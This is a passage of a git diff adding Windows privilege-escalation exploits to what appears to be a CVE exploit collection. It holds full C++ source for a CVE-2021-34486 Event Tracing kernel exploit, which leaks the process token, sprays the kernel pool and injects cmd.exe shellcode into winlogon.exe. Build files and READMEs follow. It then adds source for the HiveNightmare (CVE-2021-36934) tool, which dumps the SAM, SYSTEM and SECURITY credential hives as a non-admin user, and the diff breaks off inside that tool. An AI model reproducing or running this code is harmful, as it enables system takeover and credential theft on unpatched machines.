*(DWORD64*)lpMessageToStore = 0x80; + + //BitMapHeader->Buffer + *(DWORD64*)((DWORD64)lpMessageToStore + 8) = ktoken; + + UNICODE_STRING target = {}; + + + + target.Length = dwSize; + target.MaximumLength = 0xffff; + target.Buffer = (PWSTR)lpMessageToStore; + + + HRESULT hRes = NtSetInformationThread(hThread, (THREADINFOCLASS)ThreadNameInformation, &target, 0x10); + + + DWORD dwBufSize = 1024 * 1024; + DWORD dwOutSize; + LPVOID pBuffer = LocalAlloc(LPTR, dwBufSize); + + hRes = NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemBigPoolInformation, pBuffer, dwBufSize, &dwOutSize); + + DWORD dwExpectedSize = target.Length + sizeof(UNICODE_STRING); + + ULONG_PTR StartAddress = (ULONG_PTR)pBuffer; + ULONG_PTR EndAddress = StartAddress + 8 + *((PDWORD)StartAddress) * sizeof(BIG_POOL_INFO); + ULONG_PTR ptr = StartAddress + 8; + while (ptr < EndAddress) + { + PBIG_POOL_INFO info = (PBIG_POOL_INFO)ptr; + //printf("Name:%s Size:%llx Address:%llx\n", info->PoolTag, info->PoolSize, info->Address); + if (strncmp(info->PoolTag, "ThNm", 4) == 0 && dwExpectedSize == info->PoolSize) + { + return (((ULONG_PTR)info->Address) & 0xfffffffffffffff0) + sizeof(UNICODE_STRING); + } + ptr += sizeof(BIG_POOL_INFO); + } + + printf("[-] Lead Pool Addr Failed\n"); + + return NULL; +} + + +void Trigger_Exploit(DWORD64 dwRtlSetAllBits, DWORD64 Fake_RtlBitMapAddr) +{ + + + + HANDLE file = NULL; + + IO_STATUS_BLOCK iostatus; + + + + FILE_BASIC_INFORMATION fbi = {}; + + + + file = CreateFile(L"\\\\.\\PEAuth", GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, NULL, NULL); + //file = CreateFile(L"\\\\.\\COM1", GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_FLAG_OVERLAPPED, NULL); + if (file == INVALID_HANDLE_VALUE) { + printf("CreateFile Failed ,Err:%x\n", GetLastError()); + return; + } + + + + + char* pbuffer = (char*)malloc(0x30); + + memset((void*)pbuffer, 0, 0x30); + + + *(DWORD64*)pbuffer = 0; //WorkItem.List.Flink + + *(DWORD64*)(pbuffer + 16) = (DWORD64)dwRtlSetAllBits; //WorkItem.WorkerRoutine + + *(DWORD64*)(pbuffer + 24) = (DWORD64)Fake_RtlBitMapAddr; //WorkItem.Parameter + + + ULONG status = 0; + + ULONG returnLength = 0; + + ETWP_NOTIFICATION_HEADER outputBuffer; + + GUID SessionGuid; + GUID ProviderGuid; + GUID buf1guid; + GUID buf2guid; + CLSIDFromString(L"{14f8138e-3b61-580b-544b-2609378ae460}", &SessionGuid); + + + CLSIDFromString(L"{14f8138e-3b61-580b-544b-2609378ae460}", &ProviderGuid); + + + CLSIDFromString(L"{14f8138e-3b61-580b-544b-2609378ae460}", &buf1guid); + + + CLSIDFromString(L"{6b4012d0-22b6-464d-a553-20e9618403a2}", &buf2guid); + + + + TRACEHANDLE SessionHandle = 0; + EVENT_TRACE_PROPERTIES* pSessionProperties = NULL; + ULONG BufferSize = 0; + BOOL TraceOn = TRUE; + + // Allocate memory for the session properties. The memory must + // be large enough to include the log file name and session name, + // which get appended to the end of the session properties structure. + + BufferSize = sizeof(EVENT_TRACE_PROPERTIES) + sizeof(LOGFILE_PATH) + sizeof(LOGSESSION_NAME); + pSessionProperties = (EVENT_TRACE_PROPERTIES*)malloc(BufferSize); + if (NULL == pSessionProperties) + { + wprintf(L"Unable to allocate %d bytes for properties structure.\n", BufferSize); + //return 0; + } + + // Set the session properties. You only append the log file name + // to the properties structure; the StartTrace function appends + // the session name for you. + + ZeroMemory(pSessionProperties, BufferSize); + pSessionProperties->Wnode.BufferSize = BufferSize; + pSessionProperties->Wnode.Flags = WNODE_FLAG_TRACED_GUID; + pSessionProperties->Wnode.ClientContext = 1; //QPC clock resolution + pSessionProperties->Wnode.Guid = SessionGuid; + pSessionProperties->LogFileMode = EVENT_TRACE_FILE_MODE_SEQUENTIAL; + pSessionProperties->MaximumFileSize = 1; // 1 MB + pSessionProperties->LoggerNameOffset = sizeof(EVENT_TRACE_PROPERTIES); + pSessionProperties->LogFileNameOffset = sizeof(EVENT_TRACE_PROPERTIES) + sizeof(LOGSESSION_NAME); + StringCbCopy((LPWSTR)((char*)pSessionProperties + pSessionProperties->LogFileNameOffset), sizeof(LOGFILE_PATH), LOGFILE_PATH); + + // Create the trace session. + + status = StartTrace((PTRACEHANDLE)&SessionHandle, LOGSESSION_NAME, pSessionProperties); + if (ERROR_SUCCESS != status) + { + wprintf(L"[-] StartTrace() failed with %d\n", status); + //goto cleanup; + } + wprintf(L"[-] StartTrace() with %d ,SessionHandle %p\n", status, SessionHandle); + + + + status = EnableTraceEx2( + SessionHandle, + (LPCGUID)&buf1guid, + EVENT_CONTROL_CODE_ENABLE_PROVIDER, + TRACE_LEVEL_INFORMATION, + 0, + 0, + 0, + NULL + ); + + if (ERROR_SUCCESS != status) + { + wprintf(L"[-] EnableTrace() failed with %d\n", status); + TraceOn = FALSE; + //goto cleanup; + } + + + + printf("[-] Logid Index:%x\n", SessionHandle); + + + + ETW_UPDATE_PERIODIC_CAPTURE_STATE InBuff1 = { + (UINT32)SessionHandle, + 0, + 1, + { buf1guid } }; + + NTSTATUS status1 = NtTraceControl(EtwFunctionUpdatePeriodicCaptureState, &InBuff1, sizeof(InBuff1), &InBuff1, sizeof(InBuff1), + &returnLength); + printf("[-] NtTraceControl 1 %d\n", status1); + + + + ETW_UPDATE_PERIODIC_CAPTURE_STATE InBuff2 = { + (UINT32)SessionHandle, + 0, + 1, + { buf2guid } }; + + + + NTSTATUS status2 = NtTraceControl(EtwFunctionUpdatePeriodicCaptureState, &InBuff2, sizeof(InBuff2), &outputBuffer, sizeof(outputBuffer), &returnLength); + + printf("[-] NtTraceControl 2 %d\n", status2); + + //Sleep(2000); + + printf("[-] Spray....\n"); + + for (int i = 0; i < 0x10000; i++) + { + NtSetEaFile(file, &iostatus, pbuffer, 0x30); + } + + + NTSTATUS status3 = NtTraceControl(EtwFunctionUpdatePeriodicCaptureState, &InBuff1, sizeof(InBuff1), &InBuff1, sizeof(InBuff1), &returnLength); + + + + + printf("[-] NtTraceControl 3 %d\n", status3); + Sleep(0x2000); + + status = EnableTraceEx2( + SessionHandle, + (LPCGUID)&ProviderGuid, + EVENT_CONTROL_CODE_DISABLE_PROVIDER, + TRACE_LEVEL_INFORMATION, + 0, + 0, + 0, + NULL + ); + + + status = ControlTrace(SessionHandle, LOGSESSION_NAME, pSessionProperties, EVENT_TRACE_CONTROL_STOP); + + + + +} +typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX { + PVOID Object; + ULONG_PTR UniqueProcessId; + ULONG_PTR HandleValue; + ULONG GrantedAccess; + USHORT CreatorBackTraceIndex; + USHORT ObjectTypeIndex; + ULONG HandleAttributes; + ULONG Reserved; +} SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX, * PSYSTEM_HANDLE_TABLE_ENTRY_INFO_EX; + +typedef struct _SYSTEM_HANDLE_INFORMATION_EX { + ULONG_PTR NumberOfHandles; + ULONG_PTR Reserved; + SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX Handles[1]; +} SYSTEM_HANDLE_INFORMATION_EX, * PSYSTEM_HANDLE_INFORMATION_EX; +typedef struct _SYSTEM_MODULE_ENTRY_INFO +{ + HANDLE Section; + PVOID MappedBase; + PVOID ImageBase; + ULONG ImageSize; + ULONG Flags; + USHORT LoadOrderIndex; + USHORT InitOrderIndex; + USHORT LoadCount; + USHORT OffsetToFileName; + UCHAR FullPathName[256]; +} SYSTEM_MODULE_ENTRY_INFO, * PSYSTEM_MODULE_ENTRY_INFO; + +typedef struct _SYSTEM_MODULE_INFORMATION +{ + ULONG NumberOfModules; + SYSTEM_MODULE_ENTRY_INFO Modules[1]; +} SYSTEM_MODULE_INFORMATION, * PSYSTEM_MODULE_INFORMATION; +#define SystemExtendedHandleInformation 64 + +// run cmd.exe +unsigned char shellcode[] = +"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52\x51" \ +"\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52" \ +"\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0" \ +"\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed" \ +"\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88" \ +"\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44" \ +"\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48" \ +"\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1" \ +"\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44" \ +"\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49" \ +"\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a" \ +"\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41" \ +"\x59\x5a\x48\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00" \ +"\x00\x00\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b" \ +"\x6f\x87\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd\x9d\xff" \ +"\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47" \ +"\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x6d\x64\x2e\x65" \ +"\x78\x65\x00"; + +SIZE_T GetObjectKernelAddress(HANDLE object) +{ + PSYSTEM_HANDLE_INFORMATION_EX handleInfo = NULL; + ULONG handleInfoSize = 0x1000; + ULONG retLength; + NTSTATUS status = NULL; + SIZE_T kernelAddress = 0; + BOOL bFind = FALSE; + + while (TRUE) + { + handleInfo = (PSYSTEM_HANDLE_INFORMATION_EX)LocalAlloc(LPTR, handleInfoSize); + + NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemExtendedHandleInformation, handleInfo, handleInfoSize, &retLength); + + if (status == 0xC0000004 || NT_SUCCESS(status)) // STATUS_INFO_LENGTH_MISMATCH + { + LocalFree(handleInfo); + + handleInfoSize = retLength + 0x100; + handleInfo = (PSYSTEM_HANDLE_INFORMATION_EX)LocalAlloc(LPTR, handleInfoSize); + + NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemExtendedHandleInformation, handleInfo, handleInfoSize, &retLength); + + if (NT_SUCCESS(status)) + { + for (ULONG i = 0; i < handleInfo->NumberOfHandles; i++) + { + if ((USHORT)object == 0x4) + { + if (0x4 == (DWORD)handleInfo->Handles[i].UniqueProcessId && (SIZE_T)object == (SIZE_T)handleInfo->Handles[i].HandleValue) + { + kernelAddress = (SIZE_T)handleInfo->Handles[i].Object; + bFind = TRUE; + break; + } + } + else + { + if (GetCurrentProcessId() == (DWORD)handleInfo->Handles[i].UniqueProcessId && (SIZE_T)object == (SIZE_T)handleInfo->Handles[i].HandleValue) + { + kernelAddress = (SIZE_T)handleInfo->Handles[i].Object; + bFind = TRUE; + break; + } + } + } + } + + } + + if (handleInfo) + LocalFree(handleInfo); + + if (bFind) + break; + } + + return kernelAddress; +} + + + +DWORD64 GetModuleAddr(const char* modName) +{ + PSYSTEM_MODULE_INFORMATION buffer = (PSYSTEM_MODULE_INFORMATION)malloc(0x20); + + DWORD outBuffer = 0; + NTSTATUS status = NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemModuleInformation, buffer, 0x20, &outBuffer); + + if (status == ((NTSTATUS)0xC0000004L))//STATUS_INFO_LENGTH_MISMATCH + { + free(buffer); + buffer = (PSYSTEM_MODULE_INFORMATION)malloc(outBuffer); + status = NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemModuleInformation, buffer, outBuffer, &outBuffer); + } + + if (!buffer) + { + printf("[-] NtQuerySystemInformation error\n"); + return 0; + } + + for (unsigned int i = 0; i < buffer->NumberOfModules; i++) + { + PVOID kernelImageBase = buffer->Modules[i].ImageBase; + PCHAR kernelImage = (PCHAR)buffer->Modules[i].FullPathName; + if (_stricmp(kernelImage, modName) == 0) + { + free(buffer); + return (DWORD64)kernelImageBase; + } + } + free(buffer); + return 0; +} + +DWORD64 GetGadgetAddr(const char* name) +{ + DWORD64 base = GetModuleAddr("\\SystemRoot\\system32\\ntoskrnl.exe"); + HMODULE mod = LoadLibraryEx(L"ntoskrnl.exe", NULL, DONT_RESOLVE_DLL_REFERENCES); + if (!mod) + { + printf("[-] leaking ntoskrnl version\n"); + return 0; + } + DWORD64 offset = (DWORD64)GetProcAddress(mod, name); + DWORD64 returnValue = base + offset - (DWORD64)mod; + //printf("[+] FunAddr: %p\n", (DWORD64)returnValue); + FreeLibrary(mod); + return returnValue; +} + +void InjectToWinlogon() +{ + PROCESSENTRY32 entry; + entry.dwSize = sizeof(PROCESSENTRY32); + + HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL); + + int pid = -1; + if (Process32First(snapshot, &entry)) + { + while (Process32Next(snapshot, &entry)) + { + if (wcscmp(entry.szExeFile, L"winlogon.exe") == 0) + { + pid = entry.th32ProcessID; + break; + } + } + } + + CloseHandle(snapshot); + + if (pid < 0) + { + printf("Could not find process\n"); + return; + } + + HANDLE h = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid); + if (!h) + { + printf("Could not open process: %x", GetLastError()); + return; + } + + void* buffer = VirtualAllocEx(h, NULL, sizeof(shellcode), MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); + if (!buffer) + { + printf("[-] VirtualAllocEx failed\n"); + } + + if (!buffer) + { + printf("[-] remote allocation failed"); + return; + } + + if (!WriteProcessMemory(h, buffer, shellcode, sizeof(shellcode), 0)) + { + printf("[-] WriteProcessMemory failed"); + return; + } + + HANDLE hthread = CreateRemoteThread(h, 0, 0, (LPTHREAD_START_ROUTINE)buffer, 0, 0, 0); + + if (hthread == INVALID_HANDLE_VALUE) + { + printf("[-] CreateRemoteThread failed"); + return; + } +} + + + +int main() +{ + HANDLE hCurProcessHandle; + HANDLE hCurThreadHandle; + + if (!DuplicateHandle(GetCurrentProcess(), GetCurrentProcess(), GetCurrentProcess(), &hCurProcessHandle, 0, FALSE, DUPLICATE_SAME_ACCESS) || + !DuplicateHandle(GetCurrentProcess(), GetCurrentThread(), GetCurrentProcess(), &hCurThreadHandle, 0, FALSE, DUPLICATE_SAME_ACCESS)) + return -1; + + + + DWORD64 dwKernelEprocessAddr = GetObjectKernelAddress(hCurProcessHandle); + + + DWORD64 dwKernelEthreadAddr = GetObjectKernelAddress(hCurThreadHandle); + + + printf("[-] dwKernelEprocessAddr=%p\n", dwKernelEprocessAddr); + + printf("[-] dwKernelEthreadAddr=%p\n", dwKernelEthreadAddr); + + + + NtSetInformationFile = (pNtSetInformationFile)GetProcAddress(LoadLibrary(L"ntdll.dll"), "NtSetInformationFile"); + + NtQueryInformationFile = (pNtQueryInformationFile)GetProcAddress(LoadLibrary(L"ntdll.dll"), "NtQueryInformationFile"); + + NtSetInformationThread = (fnNtSetInformationThreadPtr)GetProcAddress(LoadLibrary(L"ntdll.dll"), "NtSetInformationThread"); + + + NtSetEaFile = (pNtSetEaFile)GetProcAddress(LoadLibrary(L"ntdll.dll"), "NtSetEaFile"); + + if (NtSetInformationFile == NULL) + { + printf("[-] Getting NtSetInformationFile Failed\n"); + } + + if (NtQueryInformationFile == NULL) + { + printf("[-] Getting NtQueryInformationFile Failed\n"); + } + + if (NtSetInformationThread == NULL) + { + printf("[-] Getting NtSetInformationThread Failed\n"); + } + + if (NtSetEaFile == NULL) + { + printf("[-] Getting NtSetEaFile Failed\n"); + } + + + + + DWORD64 ktoken = LeakEporcessKtoken(); + + printf("[-] ktoken addr =%p\n", ktoken); + + + DWORD64 Fake_RtlBitMapAddr = LeakTheadNamePoolAddr(ktoken + 0x40); + + printf("[-] Fake_RtlBitMapAddr=%p\n", Fake_RtlBitMapAddr); + + DWORD64 GadgetAddr = GetGadgetAddr("RtlSetAllBits"); + + printf("[-] GadgetAddr addr =%p\n", GadgetAddr); + + + + Trigger_Exploit(GadgetAddr, Fake_RtlBitMapAddr); + + + printf("[-] InjectToWinlogon"); + + InjectToWinlogon(); + + + return 0; +} + diff --git a/00-CVE_EXP/CVE-2021-34486/CVE-2021-34486/CVE-2021-34486.vcxproj b/00-CVE_EXP/CVE-2021-34486/CVE-2021-34486/CVE-2021-34486.vcxproj new file mode 100644 index 0000000..1709f70 --- /dev/null +++ b/00-CVE_EXP/CVE-2021-34486/CVE-2021-34486/CVE-2021-34486.vcxproj @@ -0,0 +1,147 @@ + + + + + Debug + Win32 + + + Release + Win32 + + + Debug + x64 + + + Release + x64 + + + + 16.0 + Win32Proj + {93026d75-a5db-4eed-9e28-46512569d052} + CVE202134486 + 10.0 + + + + Application + true + v142 + Unicode + + + Application + false + v142 + true + Unicode + + + Application + true + v142 + Unicode + + + Application + false + v142 + true + Unicode + + + + + + + + + + + + + + + + + + + + + true + + + false + + + true + + + false + + + + Level3 + true + WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + + + + + Level3 + true + true + true + WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + true + true + + + + + Level3 + true + _DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + + + + + Level3 + true + true + true + NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + true + true + + + + + + + + + \ No newline at end of file diff --git a/00-CVE_EXP/CVE-2021-34486/CVE-2021-34486/CVE-2021-34486.vcxproj.filters b/00-CVE_EXP/CVE-2021-34486/CVE-2021-34486/CVE-2021-34486.vcxproj.filters new file mode 100644 index 0000000..126ae2a --- /dev/null +++ b/00-CVE_EXP/CVE-2021-34486/CVE-2021-34486/CVE-2021-34486.vcxproj.filters @@ -0,0 +1,22 @@ + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx + + + {93995380-89BD-4b04-88EB-625FBE52EBFB} + h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd + + + {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} + rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms + + + + + 源文件 + + + \ No newline at end of file diff --git a/00-CVE_EXP/CVE-2021-34486/CVE-2021-34486/CVE-2021-34486.vcxproj.user b/00-CVE_EXP/CVE-2021-34486/CVE-2021-34486/CVE-2021-34486.vcxproj.user new file mode 100644 index 0000000..88a5509 --- /dev/null +++ b/00-CVE_EXP/CVE-2021-34486/CVE-2021-34486/CVE-2021-34486.vcxproj.user @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/00-CVE_EXP/CVE-2021-34486/CVE-2021-34486_x64.exe b/00-CVE_EXP/CVE-2021-34486/CVE-2021-34486_x64.exe new file mode 100644 index 0000000..7c79114 Binary files /dev/null and b/00-CVE_EXP/CVE-2021-34486/CVE-2021-34486_x64.exe differ diff --git a/00-CVE_EXP/CVE-2021-34486/README.md b/00-CVE_EXP/CVE-2021-34486/README.md new file mode 100644 index 0000000..26a31dd --- /dev/null +++ b/00-CVE_EXP/CVE-2021-34486/README.md @@ -0,0 +1,45 @@ +### CVE-2021-34486 + +#### 描述 + +Windows事件追踪提权漏洞 + +#### 影响版本 + +| Product | CPU Architecture | Version | Update | Tested | +| ------------------- | ---------------- | ------- | ------ | -------- | +| Windows 10 | x86/x64 | | | | +| Windows 10 | x86/x64/AMD64 | 1809 | | | +| Windows 10 | x86/x64/AMD64 | 1909 | | ✔ | +| Windows 10 | x86/x64/AMD64 | 2004 | | | +| Windows 10 | x86/x64/AMD64 | 20H2 | | | +| Windows 10 | x86/x64/AMD64 | 21H1 | | | +| Windows Server 2019 | | | | | +| Windows Server | | 2004 | | | +| Windows Server | | 20H2 | | | + +#### 修复补丁 + +``` +https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-34486 +``` + +#### 利用方式 + +编译环境 + +- VS2019(V142)X64 Release + +> 有机率蓝屏 + +测试系统Windows 10 1909 X64 + +![image-20210911115757383](https://raw.github.com/Ascotbe/Image/master/Kernelhub/CVE-2021-34486_Windows_10_1909_X64.gif) + +#### 参考项目 + +- [KaLendsi](https://github.com/KaLendsi/CVE-2021-34486) + +#### 分析文章 + +- [Event Tracing for Windows (ETW) TimerCallbackContext Object Use-After-Free Vulnerability](https://www.pixiepointsecurity.com/blog/advisory-cve-2021-34486.html) diff --git a/00-CVE_EXP/CVE-2021-34486/README_EN.md b/00-CVE_EXP/CVE-2021-34486/README_EN.md new file mode 100644 index 0000000..0765afc --- /dev/null +++ b/00-CVE_EXP/CVE-2021-34486/README_EN.md @@ -0,0 +1,45 @@ +### CVE-2021-34486 + +#### Describe + + Windows Event Tracing Elevation of Privilege Vulnerability This CVE ID is unique from CVE-2021-26425, CVE-2021-34487. + +#### ImpactVersion + +| Product | CPU Architecture | Version | Update | Tested | +| ------------------- | ---------------- | ------- | ------ | -------- | +| Windows 10 | x86/x64 | | | | +| Windows 10 | x86/x64/AMD64 | 1809 | | | +| Windows 10 | x86/x64/AMD64 | 1909 | | ✔ | +| Windows 10 | x86/x64/AMD64 | 2004 | | | +| Windows 10 | x86/x64/AMD64 | 20H2 | | | +| Windows 10 | x86/x64/AMD64 | 21H1 | | | +| Windows Server 2019 | | | | | +| Windows Server | | 2004 | | | +| Windows Server | | 20H2 | | | + +#### Patch + +``` +https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-34486 +``` + +#### Utilization + +CompilerEnvironment + +- VS2019(V142)X64 Release + +> Organic blue screen + +Test System Windows 10 1909 X64 + +![image-20210911115757383](https://raw.github.com/Ascotbe/Image/master/Kernelhub/CVE-2021-34486_Windows_10_1909_X64.gif) + +#### ProjectSource + +- [KaLendsi](https://github.com/KaLendsi/CVE-2021-34486) + +#### Analyze + +- [Event Tracing for Windows (ETW) TimerCallbackContext Object Use-After-Free Vulnerability](https://www.pixiepointsecurity.com/blog/advisory-cve-2021-34486.html) diff --git a/00-CVE_EXP/CVE-2021-36934/HiveNightmare.sln b/00-CVE_EXP/CVE-2021-36934/HiveNightmare.sln new file mode 100644 index 0000000..c526a73 --- /dev/null +++ b/00-CVE_EXP/CVE-2021-36934/HiveNightmare.sln @@ -0,0 +1,31 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio Version 17 +VisualStudioVersion = 17.0.31512.422 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "HiveNightmare", "HiveNightmare\HiveNightmare.vcxproj", "{D92EC8B5-B4B6-4650-A848-00160CBE13E0}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|x64 = Debug|x64 + Debug|x86 = Debug|x86 + Release|x64 = Release|x64 + Release|x86 = Release|x86 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {D92EC8B5-B4B6-4650-A848-00160CBE13E0}.Debug|x64.ActiveCfg = Debug|x64 + {D92EC8B5-B4B6-4650-A848-00160CBE13E0}.Debug|x64.Build.0 = Debug|x64 + {D92EC8B5-B4B6-4650-A848-00160CBE13E0}.Debug|x86.ActiveCfg = Debug|Win32 + {D92EC8B5-B4B6-4650-A848-00160CBE13E0}.Debug|x86.Build.0 = Debug|Win32 + {D92EC8B5-B4B6-4650-A848-00160CBE13E0}.Release|x64.ActiveCfg = Release|x64 + {D92EC8B5-B4B6-4650-A848-00160CBE13E0}.Release|x64.Build.0 = Release|x64 + {D92EC8B5-B4B6-4650-A848-00160CBE13E0}.Release|x86.ActiveCfg = Release|Win32 + {D92EC8B5-B4B6-4650-A848-00160CBE13E0}.Release|x86.Build.0 = Release|Win32 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection + GlobalSection(ExtensibilityGlobals) = postSolution + SolutionGuid = {6331FEE7-8148-43B7-9380-216FDA4030C5} + EndGlobalSection +EndGlobal diff --git a/00-CVE_EXP/CVE-2021-36934/HiveNightmare/HiveNightmare.cpp b/00-CVE_EXP/CVE-2021-36934/HiveNightmare/HiveNightmare.cpp new file mode 100644 index 0000000..606987e --- /dev/null +++ b/00-CVE_EXP/CVE-2021-36934/HiveNightmare/HiveNightmare.cpp @@ -0,0 +1,162 @@ +// Exploit for HiveNightmare, discovered by @jonasLyk, PoC by @GossiTheDog, powered by Porgs +// Allows you to read SAM, SYSTEM and SECURITY registry hives in Windows 10 from non-admin users + +// History +// 0.1 - 20/07/2021 - Initial version +// 0.2 - 20/07/2021 - Adds support for 4 snapshots +// 0.3 - 20/07/2021 - merge in support for SYSTEM and SECURITY dumping, various bug fixes +// 0.4 - 21/07/2021 - better code shocker :O +// 0.5 - 21/07/2021 - favour retrieving hives from latest snapshot, UTF-16 support, bump to 15 snapshots +// 0.6 - 26/07/2021 - close file handle to avoid being a dummy + +#include +#include +#include +#include + +using std::endl; +using std::wcout; + +HANDLE getVssFileHandle(TCHAR* path, int maxSearch) { + HANDLE hfile; + HANDLE retHandle = INVALID_HANDLE_VALUE; + FILETIME creationTime; + FILETIME lastAccessTime; + FILETIME lastWriteTime; + FILETIME youngest = { 0, 0 }; + + wchar_t base[] = L"\\\\?\\GLOBALROOT\\Device\\HarddiskVolumeShadowCopy"; + + for (int i = 1; i <= maxSearch; i++) { + wchar_t fullPath[MAX_PATH]; + swprintf_s(fullPath, MAX_PATH, L"%s%d\\%s", base, i, path); + + hfile = CreateFile(fullPath, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); + if (hfile != INVALID_HANDLE_VALUE) { + if (GetFileTime(hfile, &creationTime, &lastAccessTime, &lastWriteTime)) { + if (CompareFileTime(&youngest, &lastWriteTime) < 0) { + retHandle = hfile; + youngest = lastWriteTime; + wcout << "Newer file found: " << fullPath << endl; + } + else { + CloseHandle(hfile); + } + } + } + } + return retHandle; +} + +void dumpHandleToFile(HANDLE handle, wchar_t* dest) { + HANDLE hAppend; + DWORD dwBytesRead, dwBytesWritten, dwPos; + BYTE buff[4096]; + hAppend = CreateFile(dest, FILE_APPEND_DATA, FILE_SHARE_READ, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); + + if (hAppend == INVALID_HANDLE_VALUE) + { + printf("Could not write %ls - permission issue rather than vulnerability issue, make sure you're running from a folder where you can write to\n", dest); + return; + } + + while (ReadFile(handle, buff, sizeof(buff), &dwBytesRead, NULL) + && dwBytesRead > 0) + { + dwPos = SetFilePointer(hAppend, 0, NULL, FILE_END); + LockFile(hAppend, dwPos, 0, dwBytesRead, 0); + WriteFile(hAppend, buff, dwBytesRead, &dwBytesWritten, NULL); + UnlockFile(hAppend, dwPos, 0, dwBytesRead, 0); + } + + CloseHandle(hAppend); +} + +bool getFileTime(HANDLE handle, LPTSTR buf, int buflen) { + FILETIME creationTime; + FILETIME lastAccessTime; + FILETIME lastWriteTime; + SYSTEMTIME st; + + if (!GetFileTime(handle, &creationTime, &lastAccessTime, &lastWriteTime)) { + if (buflen > 0) + buf[0] = L'\0'; + return false; + } + FileTimeToSystemTime(&lastWriteTime, &st); + GetDateFormat(LOCALE_USER_DEFAULT, 0, &st, L"yyyy-MM-dd", buf, buflen); + + return true; +} + + + +int main(int argc, char* argv[]) +{ + int searchDepth; + _setmode(_fileno(stdout), _O_U16TEXT); + if (argc > 1) { + if (sscanf_s(argv[1], "%d", &searchDepth) != 1) { + wcout << "\nUsage: HiveNightmare.exe [max shadows to look at (default 15)]\n\n"; + return -1; + } + } + else { + searchDepth = 15; + } + + wcout << L"\nHiveNightmare v0.6 - dump registry hives as non-admin users\n\nSpecify maximum number of shadows to inspect with parameter if wanted, default is 15.\n\nRunning...\n\n"; + + HANDLE hFile; + + TCHAR samLocation[] = L"Windows\\System32\\config\\SAM"; + TCHAR securityLocation[] = L"Windows\\System32\\config\\SECURITY"; + TCHAR systemLocation[] = L"Windows\\System32\\config\\SYSTEM"; + TCHAR fileTime[200]; + TCHAR fileName[20]; + + hFile = getVssFileHandle(samLocation, searchDepth); + if (hFile == INVALID_HANDLE_VALUE) { + wcout << "Could not open SAM :( Is System Protection not enabled or vulnerability fixed? Try increasing the number of VSS snapshots to search - list snapshots with vssadmin list shadows\n"; + return -1; + } + else { + getFileTime(hFile, fileTime, 200); + swprintf_s(fileName, L"SAM-%s", fileTime); //buggy if name too long + dumpHandleToFile(hFile, fileName); + CloseHandle(hFile); + wcout << endl << L"Success: SAM hive from " << fileTime << L" written out to current working directory as " << fileName << endl << endl; + } + + + hFile = getVssFileHandle(securityLocation, searchDepth); + if (hFile == INVALID_HANDLE_VALUE) { + wcout << "Could not open SECURITY :( Is System Protection not enabled or vulnerability fixed? Try increasing the number of VSS snapshots to search - list snapshots with vssadmin list shadows\n"; + return -1; + } + else { + getFileTime(hFile, fileTime, 